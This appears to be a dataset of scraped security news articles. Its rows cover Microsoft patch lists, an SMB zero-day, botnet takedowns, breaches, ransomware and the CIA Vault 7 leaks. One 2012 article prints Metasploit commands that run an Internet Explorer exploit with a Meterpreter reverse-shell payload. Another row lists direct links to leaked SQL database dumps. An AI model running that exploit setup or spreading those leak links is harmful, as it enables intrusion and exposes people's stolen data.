The second publicly disclosed vulnerability, tracked as CVE-2018-8566, exists when Windows improperly suspends BitLocker Device Encryption, which could allow an attacker with physical access to a powered-off system to bypass security and gain access to encrypted data.

BitLocker was in headlines earlier this month for a separate issue that could expose Windows users encrypted data due to its default encryption preference and bad encryption on self-encrypting SSDs.

Microsoft did not fully address this issue; instead, the company simply provided a guide on how to manually change BitLocker default encryption choice.

November 2018 Patch Tuesday: Critical and Important Flaws

Out of 12 critical, eight are memory corruption vulnerabilities in the Chakra scripting engine that resides due to the way the scripting engine handles objects in memory in the Microsoft Edge internet browser.

All the 8 vulnerabilities could be exploited to corrupt memory, allowing an attacker to execute code in the context of the current user. To exploit these bugs, all an attacker needs to do is tricking victims into opening a specially crafted website on Microsoft Edge.

Rest three vulnerabilities are remote code execution bugs in the Windows Deployment Services TFTP server, Microsoft Graphics Components, and the VBScript engine. All these flaws reside due to the way the affected software handles objects in memory.

The last critical vulnerability is also a remote code execution flaw that lies in Microsoft Dynamics 365 (on-premises) version 8. The flaw exists when the server fails to properly sanitize web requests to an affected Dynamics server.

If exploited successfully, the vulnerability could allow an authenticated attacker to run arbitrary code in the context of the SQL service account by sending a specially crafted request to a vulnerable Dynamics server.
Windows Deployment Services TFTP Server Remote Code Execution Vulnerability CVE-2018-8476 Critical
Microsoft Graphics Components Remote Code Execution Vulnerability CVE-2018-8553 Critical
Chakra Scripting Engine Memory Corruption Vulnerability CVE-2018-8588 Critical
Chakra Scripting Engine Memory Corruption Vulnerability CVE-2018-8541 Critical
Chakra Scripting Engine Memory Corruption Vulnerability CVE-2018-8542 Critical
Chakra Scripting Engine Memory Corruption Vulnerability CVE-2018-8543 Critical
Windows VBScript Engine Remote Code Execution Vulnerability CVE-2018-8544 Critical
Chakra Scripting Engine Memory Corruption Vulnerability CVE-2018-8555 Critical
Chakra Scripting Engine Memory Corruption Vulnerability CVE-2018-8556 Critical
Chakra Scripting Engine Memory Corruption Vulnerability CVE-2018-8557 Critical
Chakra Scripting Engine Memory Corruption Vulnerability CVE-2018-8551 Critical
Microsoft Dynamics 365 (on-premises) version 8 Remote Code Execution Vulnerability CVE-2018-8609 Critical
Azure App Service Cross-site Scripting Vulnerability CVE-2018-8600 Important
Windows Win32k Elevation of Privilege Vulnerability CVE-2018-8589 Important
BitLocker Security Feature Bypass Vulnerability CVE-2018-8566 Important
Windows ALPC Elevation of Privilege Vulnerability CVE-2018-8584 Important
Team Foundation Server Cross-site Scripting Vulnerability CVE-2018-8602 Important
Microsoft Dynamics 365 (on-premises) version 8 Cross Site Scripting Vulnerability CVE-2018-8605 Important
Microsoft Dynamics 365 (on-premises) version 8 Cross Site Scripting Vulnerability CVE-2018-8606 Important
Microsoft Dynamics 365 (on-premises) version 8 Cross Site Scripting Vulnerability CVE-2018-8607 Important
Microsoft Dynamics 365 (on-premises) version 8 Cross Site Scripting Vulnerability CVE-2018-8608 Important
Microsoft RemoteFX Virtual GPU miniport driver Elevation of Privilege Vulnerability CVE-2018-8471 Important
DirectX Elevation of Privilege Vulnerability CVE-2018-8485 Important
DirectX Elevation of Privilege Vulnerability CVE-2018-8554 Important
DirectX Elevation of Privilege Vulnerability CVE-2018-8561 Important
Win32k Elevation of Privilege Vulnerability CVE-2018-8562 Important
Microsoft SharePoint Elevation of Privilege Vulnerability CVE-2018-8572 Important
Microsoft Exchange Server Elevation of Privilege Vulnerability CVE-2018-8581 Important
Windows COM Elevation of Privilege Vulnerability CVE-2018-8550 Important
Windows VBScript Engine Remote Code Execution Vulnerability CVE-2018-8552 Important
Microsoft SharePoint Elevation of Privilege Vulnerability CVE-2018-8568 Important
Windows Elevation Of Privilege Vulnerability CVE-2018-8592 Important
Microsoft Edge Elevation of Privilege Vulnerability CVE-2018-8567 Important
DirectX Information Disclosure Vulnerability CVE-2018-8563 Important
MSRPC Information Disclosure Vulnerability CVE-2018-8407 Important
Windows Audio Service Information Disclosure Vulnerability CVE-2018-8454 Important
Win32k Information Disclosure Vulnerability CVE-2018-8565 Important
Microsoft Outlook Information Disclosure Vulnerability CVE-2018-8558 Important
Windows Kernel Information Disclosure Vulnerability CVE-2018-8408 Important
Microsoft Edge Information Disclosure Vulnerability CVE-2018-8545 Important
Microsoft SharePoint Information Disclosure Vulnerability CVE-2018-8578 Important
Microsoft Outlook Information Disclosure Vulnerability CVE-2018-8579 Important
PowerShell Remote Code Execution Vulnerability CVE-2018-8256 Important
Microsoft Outlook Remote Code Execution Vulnerability CVE-2018-8522 Important
Microsoft Outlook Remote Code Execution Vulnerability CVE-2018-8576 Important
Microsoft Outlook Remote Code Execution Vulnerability CVE-2018-8524 Important
Microsoft Word Remote Code Execution Vulnerability CVE-2018-8539 Important
Microsoft Word Remote Code Execution Vulnerability CVE-2018-8573 Important
Microsoft Excel Remote Code Execution Vulnerability CVE-2018-8574 Important
Microsoft Project Remote Code Execution Vulnerability CVE-2018-8575 Important
Microsoft Outlook Remote Code Execution Vulnerability CVE-2018-8582 Important
Windows Search Remote Code Execution Vulnerability CVE-2018-8450 Important
Microsoft Excel Remote Code Execution Vulnerability CVE-2018-8577 Important
Internet Explorer Memory Corruption Vulnerability CVE-2018-8570 Important
Microsoft JScript Security Feature Bypass Vulnerability CVE-2018-8417 Important
Windows Security Feature Bypass Vulnerability CVE-2018-8549 Important
Microsoft Edge Spoofing Vulnerability CVE-2018-8564 Important
Active Directory Federation Services XSS Vulnerability CVE-2018-8547 Important
Team Foundation Server Remote Code Execution Vulnerability CVE-2018-8529 Important
Yammer Desktop Application Remote Code Execution Vulnerability CVE-2018-8569 Important
Microsoft Powershell Tampering Vulnerability CVE-2018-8415 Important
.NET Core Tampering Vulnerability CVE-2018-8416 Moderate
Microsoft Skype for Business Denial of Service Vulnerability CVE-2018-8546 Low
This month's security update also covers 46 important vulnerabilities in Windows, PowerShell, MS Excel, Outlook, SharePoint, VBScript Engine, Edge, Windows Search service, Internet Explorer, Azure App Service, Team Foundation Server, and Microsoft Dynamics 365.

Users and system administrators are strongly advised to apply the above security patches as soon as possible in order to keep hackers and cyber criminals away from taking control of their systems.

For installing security patch updates, head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.

",Vulnerability
Windows SMB Zero-Day Exploit Released in the Wild after Microsoft delayed the Patch,https://thehackernews.com/2017/02/windows-smb-0day.html,"Last weekend a security researcher publically disclosed a zero-day vulnerability in Windows 10, Windows 8.1 and Server editions after Microsoft failed to patch it in the past three months.

The zero-day memory corruption flaw resides in the implementation of the SMB (server message block) network file sharing protocol that could allow a remote, unauthenticated attacker to crash systems with denial of service attack, which would then open them to more possible attacks.

According to US-CERT, the vulnerability could also be exploited to execute arbitrary code with Windows kernel privileges on vulnerable systems, but this has not been confirmed right now by Microsoft.

Without revealing the actual scope of the vulnerability and the kind of threat the exploit poses, Microsoft has just downplayed the severity of the issue, saying:
""Windows is the only platform with a customer commitment to investigate reported security issues, and proactively update impacted devices as soon as possible. We recommend customers use Windows 10 and the Microsoft Edge browser for the best protection.""
However, the proof-of-concept exploit code, Win10.py, has already been released publicly for Windows 10 by security researcher Laurent Gaffie and does not require targets to use a browser.

The memory corruption flaw resides in the manner in which Windows handles SMB traffic that could be exploited by attackers; all they need is tricking victims to connect to a malicious SMB server, which could be easily done using clever social engineering tricks.

""In particular, Windows fails to properly handle a server response that contains too many bytes following the structure defined in the SMB2 TREE_CONNECT Response structure,"" CERT said in the advisory.
""By connecting to a malicious SMB server, a vulnerable Windows client system may crash (BSOD) in mrxsmb20.sys.""
Since the exploit code is now publicly available to everyone and there is no official patch from Microsoft, all Windows users are left open to potential attacks at this time.

Until Microsoft patches the memory corruption flaw (most probably in the upcoming Windows update or out-of-band patch), Windows users can temporarily fix the issue by blocking outbound SMB connections (TCP ports 139 and 445 and UDP ports 137 and 138) from the local network to the WAN.

The vulnerability has been given Common Vulnerability Scoring System (CVSS) score of 7.8. Proof-of-concept code has been published on GitHub.

",Vulnerability
Microsoft's Digital Crimes Unit successfully disrupted the ZeroAccess Botnet,https://thehackernews.com/2013/12/ZeroAccess-Botnet-takedown-microsoft.html,"Microsoft today announced that its Digital Crimes Unit (a center of excellence for advancing the global fight against cybercrime) has successfully disrupted the ZeroAccess botnet, one of the world's largest and most rampant botnet
.The Botnet is ""disrupted,"" not ""fully destroyed"", Microsoft itself admits that ""do not expect to fully eliminate the ZeroAccess botnet due to the complexity of the threat."" This is the Microsoft's 8th botnet takedown operation in the past three years.

With the help of U.S. Federal Bureau of Investigation (FBI) and Europol's European Cybercrime Centre (EC3), Microsoft led to the seizure of servers that had been distributing malware which has infected nearly 2 million computers all over the world, and with that, ZeroAccess botnet's masters are earning more than $2.7 million every month.

ZeroAccess was first identified in 2011 by Symanetc, being used for click fraud, the malware can also be used to illicitly mine the virtual currency known as Bitcoin.

The Sirefef botnet, also called ZeroAccess, uses a peer-to-peer infrastructure to allow hackers to target search engine results on Google, Bing and Yahoo, and downloading malicious malware onto infected systems.

Microsoft took over control of 49 domains associated with the ZeroAccess botnet.
""Due to Germany's initiative Europol's European Cybercrime Centre (EC3) coordinated a multi-jurisdictional criminal action targeting 18 IP addresses located in Europe,""
The majority of computers infected with it are located in the US and Western Europe.
""If the hacker community has not yet taken notice, today's disruption of the ZeroAccess botnet is another example of the power of public-private partnerships,""
If you're concerned that your computer (or your parents' or friend's computer) might be infected, check out Microsoft's botnet page for tips on dealing with the situation.

",Malware
20-Year-Old Man Arrested For Carrying Out Germany's Biggest Data Leak,https://thehackernews.com/2019/01/germany-data-leak-arrested.html,"German federal police have arrested a 20-year-old local student for stealing and publishing a massive trove of personal data of hundreds of politicians, journalists and other public figures last month.

The young man, whose identity has not been revealed by the police, was arrested after police raided his parent's house in west-central German State of Hesse on Sunday and recovered a computer that the suspect tried to destroy 2 days before the search and a data backup.

The suspect, who believed to have acted alone, has admitted of carrying out the mass hacking of German politicians out of anger at their political statements, BKA Federal Criminal Police revealed.
""The accused was interrogated on 07.01.2019 by the senior prosecutor and officials of the Federal Criminal Police Office. He comprehensively acknowledged the allegations against him and provided information on his own offenses,"" the BKA said in a press release.
""Due to a lack of grounds for detention, the accused was released in the evening hours of 07.01.2019 and the provisional arrest canceled. The evidence seized as part of the search warrant, in particular computers and data carriers, is currently being fully evaluated.""
Despite not being a computer expert, the man managed to access and leak personal data from about 1,000 people, including Chancellor Merkel, journalists, and politicians from parties currently represented in the federal parliament, including the CDU, CSU, SPD, FDP, Left party (Die Linke) and Greens.

Known on Twitter by the name ""G0d,"" the suspect published private data about German politicians, journalists, and celebrities on Twitter, under the username @_0rbit.

Telephone numbers, private chats, and letters, some credit card data, addresses and copies of identity cards of victims were all exposed in what believed to be one of the country's biggest data breaches in the history.

Unlike as initially feared, early evidence suggests no involvement of foreign intelligence or activists for far-right Alternative for Germany (AfD), who was not targeted by the attacker, in the incident.

Besides German politicians, the intrusive hack attacks also affected well-known actor Til Schweiger, two renowned German comedians, Jan Boehmermann and Christian Ehring, as well as dozens of journalists from ZDF and ARD–public-funded German media outlets.

Germany is still in the process of removing the exposed data from the Internet, but there are no signs that any information was released that would be considered politically explosive or increase security risks.
",Data_Breaches
Magento Marketplace Suffers Data Breach Exposing Users' Account Info,https://thehackernews.com/2019/11/magento-marketplace-data-breach.html,"If you have ever registered an account with the official Magento marketplace to bought or sold any extension, plugin, or e-commerce website theme, you must change your password immediately.

Adobe—the company owning Magento e-commerce platform—today disclosed a new data breach incident that exposed account information of Magento marketplace users to an unknown group of hackers or individuals.

According to the company, the hacker exploited an undisclosed vulnerability in its marketplace website that allowed him to gain unauthorized third-party access to the database of registered users — both customers (buyers) as well as the developers (sellers).

The leaked database includes affected users' names, email addresses, MageID, billing and shipping address information, and some limited commercial information.

While Adobe didn't reveal or might don't know when the Magento marketplace was compromised, the company did confirm that its security team discovered the breach last week on November 21.

Image courtesy: Twitter user @Hxzeroone

Besides this, the company also assured that the hackers were not able to compromise Magento's core product and services, which suggests that themes and plugins hosted on the Marketplace were not accessed to add any backdoor or malicious code and are safe to download.

""On November 21, we became aware of a vulnerability related to Magento Marketplace. We temporarily took down the Magento Marketplace in order to address the issue. The Marketplace is back online. This issue did not affect the operation of any Magento core products or services,"" said Jason Woosley, VP of Commerce Product and Platform at Adobe.

While the company also didn't reveal the total number of affected users and developers, it has started notifying the affected customers via email.

Though Adobe hasn't explicitly mentioned that the account passwords were also leaked, users are still recommended to change it, and do the same for any other website where you are using the same password.

",Data_Breaches
Apple — Most Mac OS X Users Not Vulnerable to 'Shellshock' Bash Bug,https://thehackernews.com/2014/09/apple-most-mac-os-x-users-not_26.html,"On one hand where more than half of the Internet is considering the Bash vulnerability to be severe, Apple says the vast majority of Mac computer users are not at risk from the recently discovered vulnerability in the Bash command-line interpreter – aka the ""Shellshock"" bug that could allow hackers to take over an operating system completely.

Apple has issued a public statement in response to this issue, assuring its OS X users that most of them are safe from any potential attacks through the ShellShock Vulnerability, which security experts have warned affect operating systems, including Mac's OS X.
""The vast majority of OS X users are not at risk to recently reported bash vulnerabilities,"" Apple said. ""Bash, a UNIX command shell and language included in OS X, has a weakness that could allow unauthorized users to remotely gain control of vulnerable systems. With OS X, systems are safe by default and not exposed to remote exploits of bash unless users configure advanced UNIX services. We are working to quickly provide a software update for our advanced UNIX users.""
According to Apple, in OS X majority of users are considered to be safe so long as they haven't configured any advanced access. Soon the company will also issue an OS X update to fix the potential hole, till then the OS X users are advised to make sure that they don't enable any advanced UNIX options before the patch releases.

The critical vulnerability in the widely used Linux and Unix command-line shell, known as Bash or the GNU Bourne Again Shell, affects versions 1.14 through 4.3 of GNU Bash and is based on how Bash handles environment variables. By creating a function as part of the variable, it's possible to execute commands when the variable is evaluated.

The exploit reportedly affects most Linux- and Unix-based operating systems around the world, including OS X.

Researchers on Thursday also discovered that the ShellShock vulnerability has been exploited by the cyber criminals in the wild to take over Web servers as part of a botnet attack that is currently trying to infect other servers as well.

The Bash glitch has been described as more worse than the Heartbleed security flaw, discovered in April, that left all the information stored on data servers potentially vulnerable to hackers. Over 300,000 servers were still vulnerable to the most critical OpenSSL bug two months after the bug was first identified.

Users are advised to do not panic and avoid using advance services that can be exploited by the ShellShock vulnerability for quite sometime before the official patch for the issue is not released.

Till then, you may patch yourself using an unofficial patch that fixes the problem and claimed to completely addresses both vulnerabilities. In an email to the Open Source Software Security (oss-sec) mailing list, the maintainer of Bash, Chet Ramey addressed the vulnerability and issued the patch, but there is as of yet no official fix for the issue.

",Vulnerability
Hundreds of High-Profile Twitter Accounts Hacked through 3rd-Party App,https://thehackernews.com/2017/03/twitter-account-hack.html,"In a large-scale Twitter hack, thousands of Twitter accounts from media outlets to celebrities, including the European Parliament, Forbes, BlockChain, Amnesty International, UNICEF, Nike Spain and numerous other individuals and organizations, were compromised early Wednesday.

The compromised Twitter accounts is pushing a disturbing spam message written in Turkish comparing the Dutch to the Nazis, with Swastikas and a ""#NaziHollanda"" or ""#Nazialmanya"" (Nazi Germany) hashtag, and changed some of the victims' profile pictures to an image of the Turkish flag and Ottoman Empire coat of arms.

In addition to the message, the hackers are also posting a link to a YouTube video and the Twitter account Sebo.

According to the latest reports, this weird Twitter activity on numerous high-profile accounts is the result of a vulnerability in the third-party app called Twitter Counter.

Twitter Counter is a social media analytics service that helps Twitter users to track their stats and also offers a variety of widgets and buttons.
""We're aware that our service was hacked and have started an investigation into the matter. We've already taken measures to contain such abuse"", Twitter Counter said on Twitter.
However, the company has made it very clear that no ""Twitter account credentials (passwords)"" or ""credit card information"" has been compromised, as the company does not store this information on users.
TIP — Revoke TwitterCounter app permissions immediately to protect your Twitter Account from being hacked.
CLICK TO TWEET
Twitter Counter is actively working on fixing the issue over its end.
""Assuming this abuse is indeed done using our system, we've blocked all ability to post tweets and changed our Twitter app key,"" the company said on Twitter.
Although many of the compromised Twitter accounts have seemed to have taken back control from hackers, the embarrassed tweets are still visible on many compromised accounts.

Forbes appears to have regained access to their Twitter accounts, but are still in the process of getting fully restored. For instance, Forbes Twitter account has an egg avatar, at the time of writing.

How To Protect Your Twitter Account
Since the attack appears to be coming through a vulnerability in the third-party app, users are advised to revoke permission to this app, as well as other unnecessary third party apps.

If you have ever used Twitter Counter, you should:

Go to ""Settings and Privacy.""
Click on the ""Apps"" section.
Revoke the third-party access to Twitter Counter.
Remove old apps that are no longer in use or ones you don't recognise.

Also, if you haven't yet, you are strongly advised to enable two-factor authentication on your account via the account settings section of Twitter. This will help you protect your accounts against password attacks in the future.

Besides enabling 2FA, always choose a strong password for your accounts. If you are unable to create and remember different passwords for each site, you can use a good password manager.

",Vulnerability
Chicago Police Department Pays $600 Cryptoware Ransom to Cybercriminals,https://thehackernews.com/2015/02/cryptoware-ramsomware-bitcoin.html,"Cyber criminals have started targeting government enforcement of the Ransomware in an attempt to extort money. Recently, the police department of the Midlothian Village in Illinois has paid a ransom of over $600 in Bitcoins to an unknown hacker after being hit by a popular ransomware attack.

The popular Ransomware, dubbed Cryptoware, disabled a police computer in Midlothian — located south of Chicago — by making it inaccessible through its file-encryption capabilities and forced them to pay a ransom in order to restore access to the important police records.

The Chicago Tribune reported that the department first encountered Cryptoware in January, when someone in the department opened a spear-phishing email that pointed to the malicious software.

Once opened, the email carrying the Cryptoware ransomware immediately encrypts the files on the computer and, in typical ransomware style, displays a message demanding money in exchange for a decrypt code that could free the device from Cryptoware.

Midlothian Police Chief Harold Kaufman confirmed the police department had been hacked, but declined further comment. Local IT professionals assured that the hacker didn't get access to files in the police department's database, rather the Cryptoware program only made certain documents inaccessible.
""It didn't encrypt everything in the police department. It was just that computer and specific files, not the entire system,"" Calvin Harden Jr., an IT vendor who works with the village and the police on overcoming this threat, told the Tribune.
Cybersecurity experts recommend business users routinely back up their data, but, according to Harden, the police officials were forced to make the payment because going after the hacker might have been more trouble than it was worth.
""Because the backups were also infected, the option was to pay the hacker and get the files unencrypted, which is what we decided to do,"" Harden told the newspaper.
This isn't the first time when hackers have targeted a government agency. Back in November, 2013, the cyber criminals had managed to encrypt the database of Massachusetts' Swansea Police Department by CryptoLocker ransomware and forced them to pay $750 to restore their files.

Midlothian follows the city of Detroit and a sheriff's office in Tennessee as Cryptoware victims within the last year. Forcing victims to pay via Bitcoin provides the hackers an easy method to collect money and moving on to future victims with little-to-no digital footprint

However, law enforcement succeeded in decreasing various ransomware attacks, but with the discovery of 2.0 versions, the ransomware even made it way to infect the mobile devices.

Previously known and popular Ransomware are as follow:
CryptoLocker
Cryptowall
PrisonLocker
and now Cryptoware is really a threat to online users.
The best defense against Ransomware is creating awareness within the organization and at home, as well as maintaining backups that are rotated regularly. Ensure that your systems are running the latest version of Antivirus software with up to date malware definitions.

",Malware
4 big business sites database backup leaked by Serious BLack !,https://thehackernews.com/2011/07/4-big-business-sites-database-backup.html,"4 big business sites database backup leaked by Serious BLack !
One of the Indian hacker ""Serious BLack "" found the SQL database backup on the 4 big business sites. These SQL dumps are hosted by Site admins on FTP that has been leaked.


Sites are:
https://www.assembla.com/ => https://pastebin.com/YpdfGsQN
https://www.nganhoa.co.cc/hoa.sql
https://www.seoguru.co.uk/seogurl.sql
https://www.33photo.com/backup.sql

",Vulnerability
British Airline EasyJet Suffers Data Breach Exposing 9 Million Customers' Data,https://thehackernews.com/2020/05/easyjet-data-breach-hacking.html,"British low-cost airline EasyJet today admitted that the company has fallen victim to a cyber-attack, which it labeled ""highly sophisticated,"" exposing email addresses and travel details of around 9 million of its customers.

In an official statement released today, EasyJet confirmed that of the 9 million affected users, a small subset of customers, i.e., 2,208 customers, have also had their credit card details stolen, though no passport details were accessed.

The airline did not disclose precisely how the breach happened, when it happened, when the company discovered it, how the sophisticated attackers unauthorizedly managed to gain access to the private information of its customers, and for how long they had that access to the airline's systems.

However, EasyJet assured its users that the company had closed off the unauthorized access following the discovery and that it found ""no evidence that any personal information of any nature has been misused"" by the attackers.

""As soon as we became aware of the attack, we took immediate steps to respond to and manage the incident and engaged leading forensic experts to investigate the issue,"" the company said in a statement published today.

EasyJet has also notified the Information Commissioner's Office (ICO), Britain's data protection agency, and continues to investigate the breach incident to determine its extent and further enhance its security environment.

""We take the cybersecurity of our systems very seriously and have robust security measures in place to protect our customers' personal information. However, this is an evolving threat as cyber attackers get ever more sophisticated,"" says EasyJet Chief Executive Officer Johan Lundgren.

""Since we became aware of the incident, it has become clear that owing to COVID-19, there is heightened concern about personal data being used for online scams. Every business must continue to stay agile to stay ahead of the threat.""

As a precautionary measure recommended by the ICO, the airline has started contacting all customers whose travel and credit card details were accessed in the breach to advise them to be ""extra vigilant, particularly if they receive unsolicited communications.""

Affected customers will be notified by May 26.

Last year, the ICO fined British Airways with a record of £183 million for failing to protect the personal information of around half a million of its customers during a 2018 security breach incident involving a Magecart-style card-skimming attack on its website.

Affected customers should be suspicious of phishing emails, which are usually the next step of cybercriminals to trick users into giving away further details of their accounts like passwords and banking information.

Affected customers exposing their credit card details are advised to block the affected cards and request a new one from their respective financial institution, and always keep a close eye on your bank and payment card statements for any unusual activity and report to the bank if you find any.
",Data_Breaches
Exploit Released for Internet Explorer zero-day attacks : CVE-2012-4969,https://thehackernews.com/2012/09/exploit-released-for-internet-explorer.html,"Microsoft has confirmed reports that a zero-day vulnerability in its Internet Explorer browser is being actively attacked in the wild. Four active exploits of a zero-day vulnerability in the browser exists. Microsoft will push out an out-of-cycle Windows patch to temporarily fix the critical Internet Explorer flaw.

Security researcher Eric Romang identified the exploit code on a server used by the ""Nitro"" hacking group, believed to have exploited the Java zero-day vulnerability reported last month. Security firm Rapid7 advises that Internet users try a different Web browser. The malware may be linked to an ongoing attack on companies that has been dubbed ""Nitro"", and was first discovered in October by Symantec.

The zero-day in IE 6-9 is a use-after-free memory corruption vulnerability, similar to a buffer overflow, that would enable an attacker to remotely execute code on a compromised machine. The original exploit payload dropped the PoisonIvy remote access Trojan (RAT) via a corrupted Flash movie file. The latest payload discovered dropped the PlugX RAT via the same corrupted Flash movie.

This type of attack is typically begun with a phishing email, or by tricking users into clicking links in social media. The security advisory notes that mainstream websites that have ads placed on the site via third-party ad servers could also be vulnerable if the ad servers are compromised. In other words, any site could be used to take advantage of the IE flaw.It's a serious flaw.

Even, The German government has started telling its citizens to switch to other browsers. Microsoft has reported that most users are not affected by the bug, and the number of attacks has been limited. In the company's update about the bug, they suggest either deactivating ActiveX controls or using their Enhanced Mitigation Experience Toolkit until a patch is released.

Metasploit also Release PoC for this .""This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it."" Get Exploit Here,

Usage :
use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.168.178.33
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.33
exploit

sysinfo
getuid

",Malware
iPhone Chip Supplier TSMC Stops Production After Computer Virus Attack,https://thehackernews.com/2018/08/tsmc-iphone-computer-virus.html,"Taiwan Semiconductor Manufacturing Company (TSMC)—Apple's sole supplier of SoC components for iPhones and iPads, and Qualcomm's major manufacturing partner—shut down several of its chip-fabrication factories Friday night after being hit by a computer virus.

The world's largest makers of semiconductors and processors TSMC lost an entire day of production after several of its factories systems were halted by a computer virus in the middle of the ramp-up for chips to be used by Apple's future lines of iPhones.

Though the popular chip maker has been attacked by viruses in the past, this is the first time a virus has affected TSMC's production lines, making the incident a real big deal.

Without revealing many details, TSMC said a number of its computer systems and fabrication tools were infected by the virus on Friday night, but since then it has recovered 80% of its impacted equipment, though others will be recovered by tomorrow.

According to TSMC, the computer virus was not released into the fabrication factories by any hacker.

Here's what happened according to the company:
""This virus outbreak occurred due to misoperation during the software installation process for a new tool, which caused a virus to spread once the tool was connected to the Company's computer network,"" TSMC said in a statement.

""Data integrity and confidential information was not compromised. TSMC has taken actions to close this security gap and further strengthen security measures.""
TSMC Expects Attack to Inflict 250 Million Loss in Revenue

However, it remains unclear how the virus infected the factories at the first place and who was responsible for it, and also, the company did not confirm if the affected facilities were involved in making iPhone chips.

TSMC expects the shutdown will result in shipment delays and additional costs, and estimated that two days of outages will impact revenue by about 3 percent (approx. 250 Million), but is confident shipments delayed in the third quarter will be recovered in the fourth quarter 2018.

Being the exclusive provider of Apple's A-series chipsets for 2018, TSMC started mass production of the 7-nanometer A12 chip in May seemingly destined to power the upcoming iPhone models.

The 2018 iPhone models, which are expected to be officially announced on the 11th or 12th of September this year, will most likely include the A12 processor as the iPhone 8, iPhone 8 Plus, and iPhone X included the A11.

However, it is unclear if the shut down would result in a delayed release for the devices.

TSMC said the company has notified its customers of the event and added that it will work closely with them on their wafer deliveries. The details of the incident will be conveyed to each customer individually over the next few days.

The chipmaker giant, which builds chips for many of the industry's biggest tech companies, including Apple, AMD, NVIDIA, and Qualcomm, promised more information about the incident on August 6th.

",Malware
Researcher Charlie Miller kicked out from iOS dev program for Exploiting iOS security flaw,https://thehackernews.com/2011/11/researcher-charlie-miller-kicked-out.html,"Researcher Charlie Miller kicked out from iOS dev program for Exploiting iOS security flaw

A major security flaw in Apple's iOS operating system that could allow hackers to remotely gain unauthorized access to an iPhone, iPod touch or iPad has been uncovered by a security expert ""Charlie Miller "".

Charlie Miller gets a kick of out defeating Apple's security mechanisms, using his hacking skills to break into Macbooks and iPhones. Now, Apple has kicked the security researcher out of its iOS developer program after word got out that he built a proof-of-concept iPhone app to showcase a bypass of the code signing mechanism.
Hours before, a YouTube video that Miller released went viral. In it, he demonstrated how he hijacked an iPhone to run malicious code after installing his Instastock app, which was admitted into the App Store in September.

According to the report, Miller plans to reveal the issue in a presentation at the SysCan security conference in Taiwan next week. As part of his presentation, Miller created an app capable of exploiting the flaw, and uploaded it to the App Store. Though App Store staff discovered a few problem APIs in the app, they didn't notice Miller's use of a special memory area, which allows his app to run unsigned code.

The security expert's app has since been removed from the App Store and his developer account has been suspended. Miller's video follows below.

We've seen plenty of malware on Android, but that's mostly because the Android Market accepts virtually any app and later plucks out the bad weeds. This is a scary first on iOS.

Miller alerted Apple about the weakness three weeks ago. The company acknowledged it and asked how Miller should be credited in a security bulletin that accompanies most iOS release notes. ""I'm sure it is something they will fix quickly,"" Miller noted, suggesting the fix would likely appear before his presentation in Taiwan. ""That's what one would hope they would do. I'm sure they are also working on code fixes for the battery draining issue and stuff that they are going to release patch for.""

",Malware
WikiLeaks Reveals CIA Teams Up With Tech to Collect Ideas For Malware Development,https://thehackernews.com/2017/07/cia-malware-development.html,"As part of its ongoing Vault 7 leaks, the whistleblower organisation WikiLeaks today revealed about a CIA contractor responsible for analysing advanced malware and hacking techniques being used in the wild by cyber criminals.

According to the documents leaked by WikiLeaks, Raytheon Blackbird Technologies, the Central Intelligence Agency (CIA) contractor, submitted nearly five such reports to CIA as part of UMBRAGE Component Library (UCL) project between November 2014 and September 2015.

These reports contain brief analysis about proof-of-concept ideas and malware attack vectors — publically presented by security researchers and secretly developed by cyber espionage hacking groups.

Reports submitted by Raytheon were allegedly helping CIA's Remote Development Branch (RDB) to collect ideas for developing their own advanced malware projects.

It was also revealed in previous Vault 7 leaks that CIA's UMBRAGE malware development teams also borrow codes from publicly available malware samples to built its own spyware tools.

Here's the list and brief information of each report:

Report 1 — Raytheon analysts detailed a variant of the HTTPBrowser Remote Access Tool (RAT), which was probably developed in 2015.

The RAT, which is designed to capture keystrokes from the targeted systems, was being used by a Chinese cyber espionage APT group called 'Emissary Panda.'

Report 2 — This document details a variant of the NfLog Remote Access Tool (RAT), also known as IsSpace, which was being used by Samurai Panda, Identified as another Chinese hacking group.

Equipped with Adobe Flash zero-day exploit CVE-2015-5122 (leaked in Hacking Team dump) and UAC bypass technique, this malware was also able to sniff or enumerate proxy credentials to bypass Windows Firewall.

Report 3 — This report contains details about ""Regin"" -- a very sophisticated malware sample that has been spotted in operation since 2013 and majorly designed for surveillance and data collection.

Regin is a cyber espionage tool, which is said to be more sophisticated than both Stuxnet and Duqu and is believed to be developed by the US intelligence agency NSA.

The malware uses a modular approach that allowed an operator to enable a customised spying. Regin's design makes the malware highly suited for persistent, long-term mass surveillance operations against targets.

Report 4 — It details a suspected Russian State-sponsored malware sample called ""HammerToss,"" which was discovered in early 2015 and suspected of being operational since late 2014.

What makes HammerToss interesting is its architecture, which leverages Twitter accounts, GitHub accounts, compromised websites, and Cloud-storage to orchestrate command-and-control functions to execute the commands on the targeted systems.

Report 5 — This document details the self-code injection and API hooking methods of information stealing Trojan called ""Gamker.""

Gamker uses simple decryption, then drops a copy of itself using a random filename and injects itself into a different process. The trojan also exhibits other typical trojan behaviours.

Previous Vault 7 CIA Leaks

Last week, WikiLeaks revealed CIAs Highrise Project that allowed the spying agency to stealthy collect and forwards stolen data from compromised smartphones to its server through SMS messages.

Since March, the whistle-blowing group has published 17 batches of ""Vault 7"" series, which includes the latest and last week leaks, along with the following batches:


BothanSpy and Gyrfalcon — two alleged CIA implants that allowed the spying agency to intercept and exfiltrate SSH credentials from targeted Windows and Linux operating systems using different attack vectors.
OutlawCountry – An alleged CIA project that allowed it to hack and remotely spy on computers running the Linux operating systems.
ELSA – the alleged CIA malware that tracks geo-location of targeted PCs and laptops running the Microsoft Windows operating system.
Brutal Kangaroo – A tool suite for Microsoft Windows used by the agency to targets closed networks or air-gapped computers within an organisation or enterprise without requiring any direct access.
Cherry Blossom – An agency's framework, basically a remotely controllable firmware-based implant, used for monitoring the Internet activity of the targeted systems by exploiting vulnerabilities in Wi-Fi devices.
Pandemic – A CIA's project that allowed the agency to turn Windows file servers into covert attack machines that can silently infect other computers of interest inside a targeted network.
Athena – A CIA's spyware framework that has been designed to take full control over the infected Windows PCs remotely, and works against every version of Microsoft's Windows operating systems, from Windows XP to Windows 10.
